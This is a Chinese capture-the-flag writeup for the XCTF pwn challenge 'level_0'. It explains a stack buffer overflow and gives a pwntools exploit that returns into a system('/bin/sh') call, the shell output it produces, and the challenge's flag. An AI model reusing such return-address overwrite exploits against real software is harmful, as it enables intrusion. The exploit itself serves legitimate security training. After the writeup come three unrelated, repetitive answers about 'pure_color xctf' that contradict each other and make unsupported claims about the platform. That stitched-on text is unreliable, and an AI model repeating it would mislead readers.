level_0 [XCTF-PWN]CTF writeup系列5

题目地址:level_0

先看下题目:

照例查看一下保护情况

root@mypwn:/ctf/work/python# checksec df928e471d0849fab9ff0ebe4bfe5ea1 
[*] '/ctf/work/python/df928e471d0849fab9ff0ebe4bfe5ea1'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

反编译下载的程序 ,注意到最重要到三个函数callsystem,vulnerable_function,main

反编译三个函数为c语言代码:

int callsystem()
{
  return system("/bin/sh");
}

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL, "Hello, World\n");
}

注意到vulnerable_function函数中read函数的第三个参数是0x200,而buf变量分配的空间为80h,这里存在溢出。

在汇编代码中观察system函数调用的开始地址为40059A,传参数+调用system函数

构造payload如下:

payload = 'A'*0x80 + 'A'*8 + p64(0x40059A)

 这里0x80个A赋值给buf,8个A覆盖栈底(注意如果是32位系统就是4个字节),64位的0x40059A覆盖vulnerable_function函数的返回地址,本来返回地址是main函数中调用vulnerable_function函数的下一条指令,这里我们覆盖成我们需要的0x40059A,执行system函数

正常执行程序如下:

root@mypwn:/ctf/work/python# chmod +x df928e471d0849fab9ff0ebe4bfe5ea1
root@mypwn:/ctf/work/python# ./df928e471d0849fab9ff0ebe4bfe5ea1 
Hello, World
aa
root@mypwn:/ctf/work/python# 

构造本地执行的python脚本:

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

p = process('./df928e471d0849fab9ff0ebe4bfe5ea1')
# p = remote("111.198.29.45", 41395)

payload = 'A'*0x80 + 'A'*8 + p64(0x40059A)

p.sendlineafter('Hello, World', payload)
p.interactive()

执行结果如下:

root@mypwn:/ctf/work/python# python level_0.py 
[+] Starting local process './df928e471d0849fab9ff0ebe4bfe5ea1': pid 155
[*] Switching to interactive mode

$ id
uid=0(root) gid=0(root) groups=0(root)
$  

执行成功,获得来本地shell,接下来修改python脚本,连接服务器的结果如下:

root@mypwn:/ctf/work/python# python level_0.py 
[+] Opening connection to 111.198.29.45 on port 41395: Done
[*] Switching to interactive mode

$ cat flag
cyberpeace{de119d160b209dca8d21fec7e5071b2d}

执行成功,这里我直接执行cat flag,获得flag。

这个题目还是考的栈溢出,在之前覆盖特定变量的基础上,加大了一点难度,需要覆盖到栈底,并突破栈底覆盖返回之后的执行指令地址。

### 回答1: pure_color xctf是一个CTF比赛平台,致力于举办和推广网络安全竞赛。 pure_color xctf的目标是为安全爱好者和专业人士提供一个学习、切磋和交流的平台。这个平台上举办的比赛覆盖了各种网络安全领域,包括但不限于网络攻防、密码学、逆向工程等。通过参与这些比赛,参赛者可以提升自己的技能,了解最新的安全威胁和攻击技术,锻炼解决问题的能力。 pure_color xctf的比赛模式多样,可以是个人或团队参与。参赛者需要在限定的时间内完成一系列的题目,这些题目可能包含漏洞分析、编程挑战、数据分析等。比赛过程中,参赛者需要运用各种技术手段,如渗透测试、代码审计、漏洞利用等,解决题目的要求。参赛者不仅需要具备网络安全相关的知识,还需要具备良好的团队合作和解决问题的能力。 此外,pure_color xctf也为参赛者提供了一个交流平台。比赛期间,参赛者可以在平台上与其他选手交流经验、讨论解题思路。参赛者也可以通过竞赛结果来评估自己的能力,并与其他选手进行切磋比拼。 总之,pure_color xctf是一个举办网络安全竞赛的平台,旨在为安全爱好者和专业人士提供学习和交流的机会,促进网络安全技术的发展。 ### 回答2: pure_color xctf 是一项竞技性的网络安全挑战赛。XCCTF 是全球知名的网络安全竞赛组织之一,而 pure_color 是该竞赛组织内的一项赛事。该赛事旨在提升参赛者的网络安全技能和知识,让他们在一个仿真的网络环境中进行攻防对抗。 在 pure_color xctf 中,参赛队伍将根据题目要求进行网络攻击和防御。这些题目有不同的难度级别,并涵盖了各种不同的网络安全技术和攻击类型。参赛队伍将需要利用他们的知识和技能,像真实的黑客一样去攻击系统漏洞,获取目标系统内的敏感信息或是直接控制目标系统。同时,他们也需要通过搭建防御策略和系统来保护自己的系统免受攻击。 pure_color xctf 不仅仅是一个交流学习的平台,也是一个展示能力的舞台。优胜的参赛队伍将会被邀请参加更高级别的网络安全竞赛和会议,进一步提升他们的技能并扩展职业网络。此外,pure_color xctf 也为参赛者提供了一个找到职业机会的平台,很多安全公司和组织会在赛事期间招聘优秀的选手。 总而言之,pure_color xctf 是一个有挑战性的网络安全竞赛,旨在通过攻击和防御对抗提升参赛者的技能,并为他们提供职业发展和展示的机会。同时,这个赛事也在促进网络安全领域的交流和合作,为提升整个网络安全行业的水平做出贡献。 ### 回答3: pure_color xctf 是一个CTF(Capture The Flag,夺旗赛)竞赛平台。CTF是一种网络安全竞赛,旨在让参赛者通过解决一系列的密码学、逆向工程、漏洞利用等问题来获取旗标,比赛者可以通过这些旗标来获取积分并竞争排名。 pure_color xctf 平台是一个为CTF竞赛提供的一个在线环境,类似于一个实验室,用于举办CTF比赛。在这个平台上,参赛者可以注册账号并加入已经发布的CTF赛事中。赛事中的题目被分为不同的难度级别,涵盖了各种安全领域的知识。参赛者需要通过解决题目中的任务来获取旗标,并将其提交到平台上进行验证。在比赛结束后,将根据参赛者解决的题目数量、用时、积分等因素来计算最终排名,并颁发奖励给获胜者。 pure_color xctf 提供了逼真的仿真环境,使得参赛者能够在一个安全的网络环境下进行实时的攻防演练。平台上的题目多样化且具有挑战性,旨在让参赛者将所学的理论知识应用到实际场景中去,并培养解决问题和团队合作的能力。同时,pure_color xctf 还为参赛者提供了交流平台,方便他们在比赛过程中与其他参赛者交流经验、技巧以及解题思路。 总之,pure_color xctf 是一个提供CTF竞赛平台的在线环境,旨在鼓励参赛者在安全领域中深入学习和实践,并通过解决各种挑战赛题目来提升技能和知识水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值